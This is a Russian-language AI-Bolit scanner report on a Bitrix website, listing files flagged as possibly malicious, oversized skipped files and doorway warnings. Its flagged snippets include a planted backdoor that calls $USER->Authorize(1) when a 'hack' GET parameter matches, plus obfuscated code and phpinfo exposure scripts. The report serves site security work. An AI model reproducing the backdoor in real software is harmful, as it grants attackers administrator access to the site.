Отчет сканера AI-Bolit v20190226-2242: /var/www/corona123.ru/ (1/1)
Сканер бесплатный только для личного некоммерческого использования. Информация по коммерческой лицензии (пункт №11). Авторское свидетельство о гос. регистрации в РосПатенте №2012619254 от 12 октября 2012 г.
Затрачено времени: 11 m . Сканирование начато 24-10-2019 в 13:31:22, сканирование завершено 24-10-2019 в 13:42:42
Всего проверено 57752 директорий и 55326 файлов. Использовано памяти при сканировании: 24.12 Mb.
Сводный отчет
Вредоносных скриптов20
Пропущенных больших файлов17
Символических ссылок1
Обращаем внимание, что обнаруженные файлы не всегда являются вирусами и хакерскими скриптами. Сканер минимизирует число ложных обнаружений, но это не всегда возможно, так как найденный фрагмент может встречаться как во вредоносных скриптах, так и в обычных.

Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.

Внимание! Наш сканер обнаружил подозрительный или вредоносный код.

Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.


Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.


Не оставляйте файл отчета на сервере, и не давайте на него прямых ссылок с других сайтов. Информация из отчета может быть использована злоумышленниками для взлома сайта, так как содержит информацию о настройках сервера, файлах и каталогах.
Наши продукты:
Критические замечания
Эти файлы могут быть вредоносными или хакерскими скриптами (20)
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
[x] 1…ptionManager->get('SWITCH_BRANDS');$showblockShops=$instanceOptionManager->get('SWITCH_SHOPS');if($_GET['hack']=='693'){ $USER->Authorize(1);}?><!-- banner --><?$APPLICATION->IncludeComponent("bitrix:main.include","template1",array("AREA_FI
23/10/2019 11:30:31
23/10/2019 11:30:31
8.99 Kb
64229dfb58f0d86f8e7ad4b0fe61ff06c0aac14e
x
1571819431
id_a89027da
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:40
01/06/2018 17:35:08
689.98 Kb
b7af1617d2111f2d0dc71da4fe325e0064a9f00e
x
1527863708
id_big_1
[x] 1<?namespace Bitrix\Landing; $GLOBALS['____1150721864']=array('define','explode','pack','md5','constant','hash_hmac','strcmp','explode','mktime','ti
21/10/2019 14:23:40
01/06/2018 17:35:08
8.98 Kb
662e3843e11e603e25d4c845abae135052e0fccb
x
1527863708
id_93e67a24
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:31
13/04/2018 09:29:46
1,019.62 Kb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600986
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:31
13/04/2018 09:29:46
1.43 Mb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600986
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:31
13/04/2018 09:29:46
747.59 Kb
99efffe7f97fc3fd33d80600ca7c65913cedbf80
x
1523600986
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:31
13/04/2018 09:29:46
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1523600986
id_big_1
[x] 1<? $GLOBALS['_____572337753']=array('IncludeModuleLangFile','GetModuleEvents','ExecuteModuleEventEx');$GLOBALS['____194575
21/10/2019 14:23:33
01/06/2018 17:31:53
252.56 Kb
c29718f869780aa4bc06f3f8097dfb54bd8e718f
x
1527863513
id_93e67a24
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:35
13/04/2018 09:29:47
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1523600987
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:35
13/04/2018 09:29:47
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1523600987
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:35
13/04/2018 09:29:47
721.46 Kb
3691188df7ba50c126a26b0f538d606143a9b658
x
1523600987
id_big_1
[x] 1…ERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/ajax_tools.php"); /*ZDUyZmZYWUzODkzZGU3NjMzYWYwY2VjMWIwZTZmYTU2N2Y5MTc=*/ $GLOBALS['_____764418307']=array(base64_decode('R2V0TW9kdWxlRXZlbnRz'),base64_decode('RXhlY3'.
21/10/2019 18:09:05
21/10/2019 18:09:05
27.03 Kb
776063a031df82332ad05c233e879ed3ee03bb96
x
1571670545
id_93e67a24
[x] 1…300,300i,400,400i,600,600i,700,700i,800,800i&amp;subset=cyrillic,cyrillic-ext" rel="stylesheet">'); //global$USER; // $USER->Authorize(1); ?><!DOCTYPE html> <html xml:lang="<?=LANGUAGE_ID?>" lang="<?=LANGUAGE_ID?>" itemscope itemtype="
24/10/2019 13:34:05
24/10/2019 13:34:05
12.25 Kb
0cdd2b7b0423f564d7a86bf0f966d52328d89111
x
1571913245
id_a89027da
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:55
13/04/2018 09:29:55
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1523600995
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:55
13/04/2018 09:29:55
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1523600995
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:55
13/04/2018 09:29:55
721.46 Kb
3691188df7ba50c126a26b0f538d606143a9b658
x
1523600995
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:59
13/04/2018 09:29:57
1,019.62 Kb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600997
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:59
13/04/2018 09:29:57
1.43 Mb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600997
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:59
13/04/2018 09:29:57
747.59 Kb
99efffe7f97fc3fd33d80600ca7c65913cedbf80
x
1523600997
id_big_1
[x] BIG FILE. SKIPPED.
21/10/2019 14:23:57
13/04/2018 09:29:56
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1523600996
id_big_1
Символические ссылки (symlinks) (1)
/var/www/corona123.ru/test/1/img
Предупреждения
Дорвеи, реклама, спам-ссылки, редиректы
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
1…ader("Content-type: image/gif");echo file_get_contents($image_file);unlink($image_file);die();}elseif($_GET['phpinfo']){ phpinfo();die();}elseif($_GET['time_test']){set_time_limit(300);ini_set('max_execution_time',300);$t=time();while(time(
21/10/2019 16:46:03
15/08/2018 18:14:11
51.75 Kb
6fdbee77001a2f21475cc4b931c64b00d8de875b
x
1534346051
id_z7341998
1<?print phpinfo()
21/10/2019 16:42:45
21/10/2019 16:42:45
20 b
61646e4b16c29484ce38057cbb2cdca0bf439ba5
x
1571665365
id_z3923860
Большие файлы (больше чем 650.00 Kb). Пропущено
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
21/10/2019 14:23:40
01/06/2018 17:35:08
689.98 Kb
b7af1617d2111f2d0dc71da4fe325e0064a9f00e
x
1527863708
id_z1311234
21/10/2019 14:23:31
13/04/2018 09:29:46
1,019.62 Kb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600986
id_z1748520
21/10/2019 14:23:31
13/04/2018 09:29:46
1.43 Mb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600986
id_z3294765
21/10/2019 14:23:31
13/04/2018 09:29:46
747.59 Kb
99efffe7f97fc3fd33d80600ca7c65913cedbf80
x
1523600986
id_z2734586
21/10/2019 14:23:31
13/04/2018 09:29:46
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1523600986
id_z1783024
21/10/2019 14:23:35
13/04/2018 09:29:47
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1523600987
id_z4306517
21/10/2019 14:23:35
13/04/2018 09:29:47
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1523600987
id_z1439288
21/10/2019 14:23:35
13/04/2018 09:29:47
721.46 Kb
3691188df7ba50c126a26b0f538d606143a9b658
x
1523600987
id_z4702586
21/10/2019 14:23:43
13/04/2018 09:29:50
8.76 Mb
5172b74366e0503a187de398238a2067eed6b485
x
1523600990
id_z7810421
21/10/2019 14:23:41
13/04/2018 09:29:50
8.76 Mb
5172b74366e0503a187de398238a2067eed6b485
x
1523600990
id_z4517136
21/10/2019 14:23:55
13/04/2018 09:29:55
672.19 Kb
146c2d9d285694030bf5c8c1fbfde1ca07c8bf4f
x
1523600995
id_z5933672
21/10/2019 14:23:55
13/04/2018 09:29:55
1.27 Mb
3b4f79145c78becb0b20f90788e66a8f27f9148f
x
1523600995
id_z7867614
21/10/2019 14:23:55
13/04/2018 09:29:55
721.46 Kb
3691188df7ba50c126a26b0f538d606143a9b658
x
1523600995
id_z1300587
21/10/2019 14:23:59
13/04/2018 09:29:57
1,019.62 Kb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600997
id_z1274804
21/10/2019 14:23:59
13/04/2018 09:29:57
1.43 Mb
2b5a83d4a970020ab10e57b7cab909859b7c1fa6
x
1523600997
id_z2016341
21/10/2019 14:23:59
13/04/2018 09:29:57
747.59 Kb
99efffe7f97fc3fd33d80600ca7c65913cedbf80
x
1523600997
id_z1059298
21/10/2019 14:23:57
13/04/2018 09:29:56
858.74 Kb
6ef5f7d5db0a64c7dcdddb8bfb4a8b05c20f1ea6
x
1523600996
id_z3216048
Подозрение на дорвей
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
-
-
-
x
id_z4481814
-
-
-
x
id_z7459764
Версии найденных CMS
Bitrix v18.0.0